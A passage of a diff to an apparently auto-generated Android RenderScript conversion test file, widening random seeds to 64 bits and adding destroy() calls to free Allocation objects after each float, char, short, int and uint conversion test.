     private void checkConvertFloat2Float2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x4e1f6ac6l, -1.6163412428744576259e+38, 1.6163412428744576259e+38);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xfb5215c44e1f6ac6l, -1.6163412428744576259e+38, 1.6163412428744576259e+38);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testConvertFloat2Float2Float2(inV, out);
             verifyResultsConvertFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat2Float2Float2: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat2Float2Float2(inV, out);
             verifyResultsConvertFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat2Float2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkConvertFloat3Float3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x443a8ba4l, -1.6163412428744576259e+38, 1.6163412428744576259e+38);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xfb53dedf443a8ba4l, -1.6163412428744576259e+38, 1.6163412428744576259e+38);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testConvertFloat3Float3Float3(inV, out);
             verifyResultsConvertFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat3Float3Float3: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat3Float3Float3(inV, out);
             verifyResultsConvertFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat3Float3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkConvertFloat4Float4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x3a55ac82l, -1.6163412428744576259e+38, 1.6163412428744576259e+38);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xfb55a7fa3a55ac82l, -1.6163412428744576259e+38, 1.6163412428744576259e+38);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testConvertFloat4Float4Float4(inV, out);
             verifyResultsConvertFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat4Float4Float4: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat4Float4Float4(inV, out);
             verifyResultsConvertFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat4Float4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -255,11 +271,12 @@
     }
 
     private void checkConvertChar2Float2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 2, 0x1f489286l, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 2, 0x5861e2161f489286l, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testConvertFloat2Char2Float2(inV, out);
             verifyResultsConvertChar2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat2Char2Float2: " + e.toString());
         }
@@ -267,9 +284,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat2Char2Float2(inV, out);
             verifyResultsConvertChar2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat2Char2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -324,11 +343,12 @@
     }
 
     private void checkConvertChar3Float3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 3, 0x1563b364l, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 3, 0x5863ab311563b364l, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testConvertFloat3Char3Float3(inV, out);
             verifyResultsConvertChar3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat3Char3Float3: " + e.toString());
         }
@@ -336,9 +356,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat3Char3Float3(inV, out);
             verifyResultsConvertChar3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat3Char3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -393,11 +415,12 @@
     }
 
     private void checkConvertChar4Float4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 4, 0xb7ed442l, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 4, 0x5865744c0b7ed442l, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testConvertFloat4Char4Float4(inV, out);
             verifyResultsConvertChar4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat4Char4Float4: " + e.toString());
         }
@@ -405,9 +428,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat4Char4Float4(inV, out);
             verifyResultsConvertChar4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat4Char4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -467,11 +492,12 @@
     }
 
     private void checkConvertUchar2Float2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0xbb20ac31l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0x7d30021dbb20ac31l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testConvertFloat2Uchar2Float2(inV, out);
             verifyResultsConvertUchar2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat2Uchar2Float2: " + e.toString());
         }
@@ -479,9 +505,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat2Uchar2Float2(inV, out);
             verifyResultsConvertUchar2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat2Uchar2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -536,11 +564,12 @@
     }
 
     private void checkConvertUchar3Float3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0xb13bcd0fl, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0x7d31cb38b13bcd0fl, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testConvertFloat3Uchar3Float3(inV, out);
             verifyResultsConvertUchar3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat3Uchar3Float3: " + e.toString());
         }
@@ -548,9 +577,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat3Uchar3Float3(inV, out);
             verifyResultsConvertUchar3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat3Uchar3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -605,11 +636,12 @@
     }
 
     private void checkConvertUchar4Float4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0xa756ededl, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0x7d339453a756ededl, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testConvertFloat4Uchar4Float4(inV, out);
             verifyResultsConvertUchar4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat4Uchar4Float4: " + e.toString());
         }
@@ -617,9 +649,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat4Uchar4Float4(inV, out);
             verifyResultsConvertUchar4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat4Uchar4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -679,11 +713,12 @@
     }
 
     private void checkConvertShort2Float2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 2, 0xff219172l, true, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x94ca184eff219172l, true, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testConvertFloat2Short2Float2(inV, out);
             verifyResultsConvertShort2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat2Short2Float2: " + e.toString());
         }
@@ -691,9 +726,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat2Short2Float2(inV, out);
             verifyResultsConvertShort2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat2Short2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -748,11 +785,12 @@
     }
 
     private void checkConvertShort3Float3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 3, 0xf53cb250l, true, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x94cbe169f53cb250l, true, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testConvertFloat3Short3Float3(inV, out);
             verifyResultsConvertShort3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat3Short3Float3: " + e.toString());
         }
@@ -760,9 +798,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat3Short3Float3(inV, out);
             verifyResultsConvertShort3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat3Short3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -817,11 +857,12 @@
     }
 
     private void checkConvertShort4Float4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 4, 0xeb57d32el, true, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 4, 0x94cdaa84eb57d32el, true, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testConvertFloat4Short4Float4(inV, out);
             verifyResultsConvertShort4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat4Short4Float4: " + e.toString());
         }
@@ -829,9 +870,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat4Short4Float4(inV, out);
             verifyResultsConvertShort4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat4Short4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -891,11 +934,12 @@
     }
 
     private void checkConvertUshort2Float2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0x2c6de12bl, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0xc36979962c6de12bl, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testConvertFloat2Ushort2Float2(inV, out);
             verifyResultsConvertUshort2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat2Ushort2Float2: " + e.toString());
         }
@@ -903,9 +947,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat2Ushort2Float2(inV, out);
             verifyResultsConvertUshort2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat2Ushort2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -960,11 +1006,12 @@
     }
 
     private void checkConvertUshort3Float3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0x22890209l, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0xc36b42b122890209l, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testConvertFloat3Ushort3Float3(inV, out);
             verifyResultsConvertUshort3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat3Ushort3Float3: " + e.toString());
         }
@@ -972,9 +1019,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat3Ushort3Float3(inV, out);
             verifyResultsConvertUshort3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat3Ushort3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -1029,11 +1078,12 @@
     }
 
     private void checkConvertUshort4Float4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0x18a422e7l, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0xc36d0bcc18a422e7l, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testConvertFloat4Ushort4Float4(inV, out);
             verifyResultsConvertUshort4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat4Ushort4Float4: " + e.toString());
         }
@@ -1041,9 +1091,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat4Ushort4Float4(inV, out);
             verifyResultsConvertUshort4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat4Ushort4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -1103,11 +1155,12 @@
     }
 
     private void checkConvertInt2Float2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x7402bfc5l, true, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x2a52c7eb7402bfc5l, true, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testConvertFloat2Int2Float2(inV, out);
             verifyResultsConvertInt2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat2Int2Float2: " + e.toString());
         }
@@ -1115,9 +1168,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat2Int2Float2(inV, out);
             verifyResultsConvertInt2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat2Int2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -1172,11 +1227,12 @@
     }
 
     private void checkConvertInt3Float3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x6a1de0a3l, true, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x2a5491066a1de0a3l, true, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testConvertFloat3Int3Float3(inV, out);
             verifyResultsConvertInt3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat3Int3Float3: " + e.toString());
         }
@@ -1184,9 +1240,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat3Int3Float3(inV, out);
             verifyResultsConvertInt3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat3Int3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -1241,11 +1299,12 @@
     }
 
     private void checkConvertInt4Float4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 4, 0x60390181l, true, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 4, 0x2a565a2160390181l, true, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testConvertFloat4Int4Float4(inV, out);
             verifyResultsConvertInt4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat4Int4Float4: " + e.toString());
         }
@@ -1253,9 +1312,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat4Int4Float4(inV, out);
             verifyResultsConvertInt4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat4Int4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -1315,11 +1376,12 @@
     }
 
     private void checkConvertUint2Float2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0x684cc46l, false, 32);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0xd1e081390684cc46l, false, 32);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testConvertFloat2Uint2Float2(inV, out);
             verifyResultsConvertUint2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat2Uint2Float2: " + e.toString());
         }
@@ -1327,9 +1389,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat2Uint2Float2(inV, out);
             verifyResultsConvertUint2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat2Uint2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -1384,11 +1448,12 @@
     }
 
     private void checkConvertUint3Float3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0xfc9fed24l, false, 32);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0xd1e24a53fc9fed24l, false, 32);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testConvertFloat3Uint3Float3(inV, out);
             verifyResultsConvertUint3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat3Uint3Float3: " + e.toString());
         }
@@ -1396,9 +1461,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat3Uint3Float3(inV, out);
             verifyResultsConvertUint3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat3Uint3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -1453,11 +1520,12 @@
     }
 
     private void checkConvertUint4Float4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0xf2bb0e02l, false, 32);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0xd1e4136ef2bb0e02l, false, 32);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testConvertFloat4Uint4Float4(inV, out);
             verifyResultsConvertUint4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat4Uint4Float4: " + e.toString());
         }
@@ -1465,9 +1533,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat4Uint4Float4(inV, out);
             verifyResultsConvertUint4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat4Uint4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -1527,11 +1597,12 @@
     }
 
     private void checkConvertFloat2Char2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x29789662l, -1.2800000000000000000e+02, 1.2700000000000000000e+02);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x239cb25829789662l, -1.2800000000000000000e+02, 1.2700000000000000000e+02);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 2), INPUTSIZE);
             script.forEach_testConvertChar2Float2Char2(inV, out);
             verifyResultsConvertFloat2Char2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar2Float2Char2: " + e.toString());
         }
@@ -1539,9 +1610,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar2Float2Char2(inV, out);
             verifyResultsConvertFloat2Char2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar2Float2Char2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat2Char2(Allocation inV, Allocation out, boolean relaxed) {
@@ -1595,11 +1668,12 @@
     }
 
     private void checkConvertFloat3Char3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x88805b56l, -1.2800000000000000000e+02, 1.2700000000000000000e+02);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x239cbcf988805b56l, -1.2800000000000000000e+02, 1.2700000000000000000e+02);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 3), INPUTSIZE);
             script.forEach_testConvertChar3Float3Char3(inV, out);
             verifyResultsConvertFloat3Char3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar3Float3Char3: " + e.toString());
         }
@@ -1607,9 +1681,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar3Float3Char3(inV, out);
             verifyResultsConvertFloat3Char3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar3Float3Char3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat3Char3(Allocation inV, Allocation out, boolean relaxed) {
@@ -1663,11 +1739,12 @@
     }
 
     private void checkConvertFloat4Char4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xe788204al, -1.2800000000000000000e+02, 1.2700000000000000000e+02);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x239cc79ae788204al, -1.2800000000000000000e+02, 1.2700000000000000000e+02);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 4), INPUTSIZE);
             script.forEach_testConvertChar4Float4Char4(inV, out);
             verifyResultsConvertFloat4Char4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar4Float4Char4: " + e.toString());
         }
@@ -1675,9 +1752,11 @@
